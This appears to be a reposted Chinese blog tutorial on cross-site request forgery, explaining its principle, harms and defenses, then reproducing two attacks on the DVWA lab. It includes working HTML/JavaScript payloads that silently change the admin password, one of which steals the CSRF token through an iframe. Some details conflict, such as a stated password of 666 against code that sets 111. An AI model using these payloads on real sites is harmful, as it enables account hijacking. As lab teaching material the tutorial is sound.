CSRF-跨站请求伪造总结
Posted s1awwhy
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了CSRF-跨站请求伪造总结相关的知识，希望对你有一定的参考价值。
1.概述
CSRF(Cross-site request forgery），全称跨站请求伪造，从字面意思可以看出CSRF攻击者是通过使合法用户发起请求，来实现对被攻击网站的访问。
CSRF攻击原理
从下图我们可以更加直观地理解CSRF攻击的原理。
从上图我们可以看出要想实现CSRF攻击，必须有两个前提条件：
- 网站A信任用户C，C在本地生成cookie。（看来经常清理本地cookie可以有效的防止CSRF攻击）
- 用户C访问网站A，并且未登出。
如果上述两个条件有一个不满足，CSRF攻击就无法正常进行，虽然我们已经知道CSRF攻击的必要条件，但是平时往往会不经意间给攻击者造成机会。原因主要有：
- 我们在访问一个网站过后往往不会立马关闭，都会保留一段时间，方便重新浏览信息。
- 关闭浏览器并不代表结束会话，而且浏览器关闭了但是用户本地cookie仍然存在。
2.CSRF攻击的危害
由于攻击者通过CSRF攻击可以伪造来自信任用户的请求，就像指挥用户一样执行一些危险操作，主要危害包括盗用用户身份、发送恶意请求。比如模拟用户发送邮件、发消息、甚至于支付、转账等。
3.CSRF攻击的防御方法
面对CSRF攻击，目前主流的三种防御方法包括：
- 验证HTTP的Referer字段
- 在请求地址中添加Token并验证
- 在HTTP头中自定义属性并验证
下面分别讲一下这三种防御方法的原理。
Referer验证
根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成，用户必须先登录bank.test，然后通过点击页面上的按钮来触发转账事件。当用户提交请求时，该转账请求的Referer值就会是转账按钮所在页面的URL（本例中，通常是以bank. test域名开头的地址）。而如果攻击者要对银行网站实施CSRF攻击，他只能在自己的网站构造请求，当用户通过攻击者的网站发送请求到银行时，该请求的Referer是指向攻击者的网站。因此，要防御CSRF攻击，银行网站只需要对于每一个转账请求验证其Referer值，如果是以bank. test开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果Referer是其他网站的话，就有可能是CSRF攻击，则拒绝该请求。
Token验证
CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，该请求中所有的用户验证信息都存在于Cookie中，因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知，抵御CSRF攻击的关键在于：在请求中放入攻击者所不能伪造的信息，并且该信息不存在于Cookie之中。鉴于此，系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token内容不正确，则认为可能是CSRF攻击而拒绝该请求。
增加验证码
Spring security的表单验证是通过过滤器链中的 UsernamePasswordAuthenticationFilter 来完成的，我们增加的验证码过滤器应该插在 UsernamePasswordAuthenticationFilter 之前，如果验证码校验不通过，直接返回，无需进行账户密码的校验。
了解三种主流的防御CSRF攻击方法之后，我们针对这些原理，复现一下CSRF攻击。
4.CSRF攻击例子
案例一-绕过Referer
实验环境
DVWA靶场（我用的是metasploitable2中的靶场，大家也可以在phpstudy上搭DVWA）
chrome浏览器
1.打开DVWA登录界面，用chrome浏览器登录用户，DVWA靶场的默认账户为admin，默认密码为password。
2.将安全级别设置为：low。
3.在CSRF漏洞模块修改用户密码为111,，修改成功之后记录下当前URL为u1。
4.在phpsthdy安装目录中创建一个文件-CSRF.html，将之前记录下的URL-u1放入文件对应位置，并给password_new和password_conf变量赋相同的值，赋的值为你想修改的新密码。图片1.jpg可以是任意文件，仅仅起一个伪装作用。html代码如下：
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="http://192.168.xxx.xxx/dvwa/vulnerabilities/csrf/？password_new=222&password_conf=222&Change=%E6%9B%B4%E6%94%B9#" alt=""> <img src="1.jpg"> </body> </html>
（URL中的IP我改了一下，大家在使用的时候根据自己的实际URL进行测试）
5.此时如果某用户不小心打开可CSRF.html这个网页，那么admin用户的密码就自动被修改为222，这一攻击原理就是在CSRF.html文件中直接给出了目标网站的url,从而绕过了Referer验证。
案例二-绕过Token验证
1.登录DVWA，修改安全级别为：high
2.将CSRF.html文件的修改，同样的给password_new和password_conf赋一个新的密码：666。具体代码如下：
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="1.jpg"> <iframe name="if1" src="http://192.168.189.132/dvwa/vulnerabilities/csrf"></iframe> <script> window.onload = function(){ var user_token_input = window.frames["if1"].document.getElementsByName("user_token")[0]; alert(user_token_input.value) document.body.innerHTML += ‘<img src="http://192.168.189.132/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#‘+ user_token_input.value+‘#" >‘ } </script> </body> </html>
3.此时如果某用户打开了指向该文件的链接，那么admin的密码就会被修改为666.
总结
本文讲了一下CSRF攻击的基本原理以及基本过程。通俗的来讲CSRF攻击就是伪造被信任用户的请求，达到欺骗被攻击网站的目的。对于CSRF攻击的主要防御措施有验证HTTP头的Referer字段、验证HTTP头的Token字段以及在HTTP头中自定义属性并验证。从防御手段我们可以看出应对CSRF攻击，主要是解决判断请求的来源是否被信任问题，如果可以验证请求的发起者是可信的，那么该请求是可以被接受的。通过DVWA靶场的两个小实验，对CSRF攻击进行更直观的理解。作者WEB安全小白一枚，如果有表述的不对的地方，还请各位大佬评论指正。
以上是关于CSRF-跨站请求伪造总结的主要内容，如果未能解决你的问题，请参考以下文章